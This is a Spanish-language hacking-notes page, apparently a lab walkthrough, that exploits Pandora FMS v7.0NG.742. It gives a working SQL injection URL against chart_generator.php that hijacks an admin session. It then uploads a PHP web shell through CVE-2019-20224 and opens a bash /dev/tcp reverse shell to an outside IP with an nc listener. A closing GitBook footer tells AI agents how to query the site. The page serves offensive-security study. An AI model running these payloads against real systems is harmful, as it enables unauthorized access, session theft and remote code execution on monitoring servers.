> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/pandora-cms-exploitation.md).

# Pandora

## Explotando Pandora FMS - inyección SQL

### **Inyección SQL - secuestro de sesión de administrador**

Este comando reenvía las solicitudes HTTP locales al servidor web interno.

<figure><img src="/files/996f3431e054e69007729240c8e352854a63d5ea" alt=""><figcaption></figcaption></figure>

Versión detectada: **v7.0NG.742/\_FIX/\_PERL2020**.

<figure><img src="/files/3b59ecfe6c6e6fe72bf532110d35f569ec673d3a" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated>" %}

Vulnerabilidad conocida en `chart_generator.php` a través de la `session_id` variable:

<figure><img src="/files/337e41f9a5ff7cb0199ea9eddb18206bee28c2ae" alt=""><figcaption></figcaption></figure>

```
http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1'
```

<figure><img src="/files/61f029f92dec66cc4a408f06ccc458cb8b17fc96" alt=""><figcaption></figcaption></figure>

Ejecute la inyección SQL para secuestrar una sesión de administrador:

<pre class="language-bash"><code class="lang-bash"><strong>http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO
</strong></code></pre>

* Este comando devuelve una cookie de sesión de administrador.

<figure><img src="/files/679380e979607f899977587f14adfbc9002c99cc" alt=""><figcaption></figcaption></figure>

Use la cookie para acceder al panel como administrador.

<figure><img src="/files/6ac3661486444d843e2117a929cfb769d032c728" alt=""><figcaption></figcaption></figure>

### **Ejecución remota de código (RCE) - /\[CVE-2019-20224]**

Navegar a **Administrador de archivos**.

<figure><img src="/files/3e18d5e69b786a82a0a7da04b61da5cae19c6a62" alt=""><figcaption></figcaption></figure>

Cargue un archivo PHP malicioso:

<pre class="language-php"><code class="lang-php"><strong>&#x3C;?php system($_GET['cmd']); ?>
</strong></code></pre>

* El archivo es accesible en `http://127.0.0.1/pandora_console/images/cmd.php`.

<figure><img src="/files/ec3c1ff9449eb34b70b34afff2ecc6483b44752e" alt=""><figcaption></figcaption></figure>

Ejecute una shell inversa:

* Inicie un escuchador local:

```bash
nc -nvlp 443
```

* Ejecución de comandos en el servidor objetivo:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.26/443 0>%261"
```

Se obtiene acceso como usuario `matt`.

<figure><img src="/files/8a53da1e8cf894903c243adf476459861b24dedb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/cms/pandora-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
